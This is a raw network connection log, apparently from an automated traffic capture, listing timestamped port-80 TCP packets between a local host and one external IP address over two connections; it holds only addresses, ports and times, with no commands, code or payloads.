Dec 12, 2024 23:08:33.621541023 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.621602058 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.624839067 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.624851942 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.624897957 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.629055977 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.629067898 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.629126072 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.633407116 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.633467913 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.633574009 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.633618116 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.637989044 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.638000965 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.638053894 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.643580914 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.643593073 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.643639088 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.648315907 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.648328066 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.648374081 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.652662992 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.652718067 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.652776957 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.652823925 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.656934023 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.656987906 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.657140017 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.657186985 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.661504030 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.661559105 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.661592007 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.661633015 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.666080952 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.666091919 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.666129112 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.666146994 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.670548916 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.670604944 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.670713902 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.670761108 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.674839020 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.674894094 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.773853064 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.773941040 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.889425993 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:34.009186029 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:34.377490997 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:34.377562046 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:36.406088114 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:36.526063919 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:36.889275074 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:36.889358044 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:38.906124115 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:39.026141882 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:39.393654108 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:39.393770933 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:41.422441959 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:41.542289972 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:41.907651901 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:41.907836914 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:44.088036060 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:44.208317995 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:44.574139118 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:44.574232101 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:46.593786955 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:46.713664055 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:47.087066889 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:47.087320089 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:49.108146906 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:49.228029013 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:49.593318939 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:49.593498945 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:51.623811007 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:51.743832111 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:52.125850916 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:52.125941992 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:54.155693054 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:54.275861979 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:54.648149967 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:54.648370028 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:56.672337055 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:56.792284012 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:57.158531904 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:57.158693075 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:59.186223984 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:59.306066990 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:59.674966097 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:59.675030947 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:02.717534065 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:02.717984915 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:02.837801933 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:02.837944031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:02.838015079 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:02.838174105 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:02.840718031 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:02.960575104 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324552059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324577093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324600935 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324610949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324621916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324631929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324644089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324871063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.324908972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324928999 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324939966 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.324943066 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.324991941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.325050116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.445004940 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.445180893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.445307970 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.445308924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.449047089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.449224949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.518058062 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.518105030 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.518194914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.518270016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.522279978 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.522344112 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.522357941 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.522423983 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.530726910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.530787945 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.530843019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.530939102 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.539068937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.539143085 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.539211035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.539263010 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.547539949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.547606945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.547722101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.547722101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.555938005 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.556020021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.556092978 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.556149006 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.565056086 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.565105915 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.565160036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.565205097 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.572832108 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.572882891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.572891951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.572932005 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.581078053 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.581130028 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.581193924 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.581233978 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.589621067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.589677095 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.589732885 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.589772940 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.598321915 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.598373890 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.598474979 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.598520994 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.638125896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.638214111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.638309956 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.638381004 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.710319042 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.710390091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.710426092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.710465908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.712632895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.712686062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.712760925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.712805986 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.717361927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.717417955 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.717478037 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.717526913 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.722187996 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.722248077 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.722333908 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.722377062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.726840973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.726926088 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.726996899 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.727068901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.731756926 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.731812000 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.731877089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.731924057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.736681938 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.736742020 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.736757994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.736813068 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.741156101 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.741219997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.741240025 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.741276979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.745867968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.745928049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.746059895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.746113062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.750619888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.750693083 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.750757933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.750811100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.755415916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.755484104 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.755497932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.755559921 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.760065079 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.760152102 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.760267973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.760317087 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.764794111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.764870882 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.764956951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.765014887 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.769572973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.769655943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.769699097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.769751072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.773463964 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.773547888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.773633957 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.773684978 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.776921988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.776983023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.776993036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.777041912 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.780576944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.780646086 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.780656099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.780704021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.784234047 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.784291983 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.784368992 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.784598112 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.787870884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.787925959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.787933111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.787980080 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.901993990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.902141094 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.902153969 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.902198076 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.903548002 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.903604984 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.903645039 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.903692007 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.906440973 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.906488895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.906507969 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.906534910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.909332991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.909451962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.909451962 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.909493923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.912292004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.912341118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.912426949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.912477016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.915116072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.915170908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.915344000 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.915400028 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.917871952 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.917923927 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.917963982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.918138027 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.920644999 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.920696974 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.920816898 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.921020031 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.923434019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.923490047 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.923518896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.923645020 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.926187038 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.926244020 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.926325083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.926402092 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.928930044 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.929056883 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.929085970 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.929120064 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.931687117 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.931736946 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.931819916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.931865931 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.934506893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.934664965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.934693098 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.934716940 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.937258959 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.937320948 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.937377930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.939956903 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.940020084 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.940092087 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.940145016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.942698002 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.942749977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.942867994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.942960024 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.945483923 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.945760965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.945820093 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.948216915 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.948308945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.948386908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.950980902 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.951096058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.951154947 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.953752995 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.953834057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.953849077 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.953886986 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.956496954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.956553936 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.956739902 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.956788063 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.959228039 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.959287882 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.959368944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.959423065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.962017059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.962063074 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.962073088 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.962110996 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.964850903 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.964906931 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.964947939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.964999914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.967541933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.967597008 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.967624903 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.967674971 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:04.970417023 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.970468044 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:04.970489025 CET	49744	80	192.168.2.4	80.82.65.70
